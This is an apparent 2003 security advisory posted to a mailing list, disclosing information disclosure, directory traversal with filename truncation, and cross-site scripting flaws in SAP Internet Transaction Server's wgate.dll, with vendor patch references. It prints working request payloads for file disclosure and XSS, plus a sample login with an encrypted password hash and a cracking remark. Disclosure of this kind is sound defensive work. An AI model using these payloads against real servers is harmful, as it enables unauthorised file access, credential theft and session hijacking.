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SAP Internet Transaction Server
From: Martin Eiszner <martin () websec org>
Date: Sat, 30 Aug 2003 12:32:42 +0200


To the List,


*******************************************************************************************
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============================================================
SEC-CONSULT Security REPORT SAP Internet Transcaction Server
======================OOOOOOOOOOOO==========================

Product:        ITS ITS, Version 4620.2.0.323011, Build 46B.323011 (win32/IIS 5.0)

Vulnerablities:

- Path/information disclosure
- Directory traversal
- Filename truncation
- Arbitrary file disclosure
- Cross site scripting/Cookie Theft

Vuln.-Classes:  Check out http://www.owasp.org/asac/ for more detailed information on "Attack Components"
Vendor:         SAP (http://www.sap.com/)
Vendor-Status:  vendor contacted (02.08.2003)
Vendor-Patchs:  SAP advice 598074,595383 and 654038

Object: wgate.dll

Exploitable:
Local:          ---
Remote:         YES

============
Introduction
============

Visit "http://www.sap.com"; for additional information.


=====================
Vulnerability Details
=====================


1) DIRECTORY/INFO DISCLOSURE
============================

OBJECT:
wgate.dll (win32 CGI-Communication binary)

DESCRIPTION:
Insufficient input- and output validation on miscellaneous userinput allows the insertion of non existing values for 
the following user supplied paramters:

##################
~service
~templatelanguage
~language
~theme
~template
##################

Thus leading to several unwanted error messages which may include sensitive information on operating-system, software 
version a
nd the directory structure of the attacked server.

EXAMPLE:
---*---
Http-Request:
http://www.server.name/scripts/wgate/pbw2/!?

with params:
~runtimemode=DM&
~language=en&
~theme=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&
---*---

REMARKS:
It might be possible that "~template" is an undocumented or forgotten variable (NOT confirmed).



2) ARBITRARY FILE DISCLOSURE (Directory Traversal / File Truncation)
====================================================================

OBJECT:
wgate.dll (win32 CGI-Communication binary)

DESCRIPTION:

EXAMPLE:
---*---
Http-Request:
http://www.server.name/scripts/wgate/pbw2/!?

with params:
~language=en&
~runtimemode=DM&
~templatelanguage=&
~language=en&
~theme=..\..&
~template=services\global.srvc++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++
---*---

(where "+" stands for spaces "%20" uri encoded).

Above will respond with the global server configuration file "global.srvc" on an ITS default-installation.

Normally the default-template extension (.html ?) gets concatenated to the rest of the template information.
Most probably somebody wanted to avoid a possible Bufferoverflow by truncating the input values if they exceed a given 
length.
Thus making it possible to shed the ".html" extension.

For some strange reason now and then the program responds with an error-message instead of giving out the requested 
file. This
might be due to unwanted?/additional? HTTP-Request-Header infos (NOT confirmed).

REMARKS:

The global configuration file "global.srvc" contains username and des-encrypted password
---*---
~password       des26(2c94f116f4393f3d)
~login          Master
---*---

A good DES-cracker should be able to crack this password-hash either by using wordlistst or by brute-force methods (NOT 
confirm
ed).


3) CROSS SITE SCRIPTING / COOKIE THEFT
======================================

OBJECT:
wgate.dll (win32 CGI-Communication binary)

DESCRIPTION:
Insufficient input- and output validation on miscellaneous userinput-parameters enables insertion of html/client side 
scripting
 tags.

EXAMPLE:
---*---
Http-Request:
http://www.server.name/scripts/wgate.dll?

with params:
~service=--><img%09src=javascript:alert(1)%3bcrap
---*---

REMARKS:
Due to excessive usage of cookies for managing sessions and/or states cookie-theft is very likely.
There might be several other location where html/scripting tags can be inserted (NOT confirmed).


===============
GENERAL REMARKS
===============

Above findings derive from an external(black box) security test.
we would like to apologize in advance for potential nonconformities and/or known issues.


====================
Recommended Hotfixes
====================

Vendor-Patches: SAP advice 598074,595383 and 654038


EOF Martin Eiszner / @2003m.eiszner () sec-consult com


=======
Contact
=======

SEC-CONSULT
Austria / EUROPE

0043 699 12177237
m.eiszner () sec-consult com
http://www.sec-consult.com


*******************************************************************************************
*******************************************************************************************
*******************************************************************************************


-- 
Martin Eiszner / SEC-CONSULT
Austria / EUROPE

m.eiszner () sec-consult com
http://www.sec-consult.com
http://www.websec.org
tel: 0043 699 121772 37


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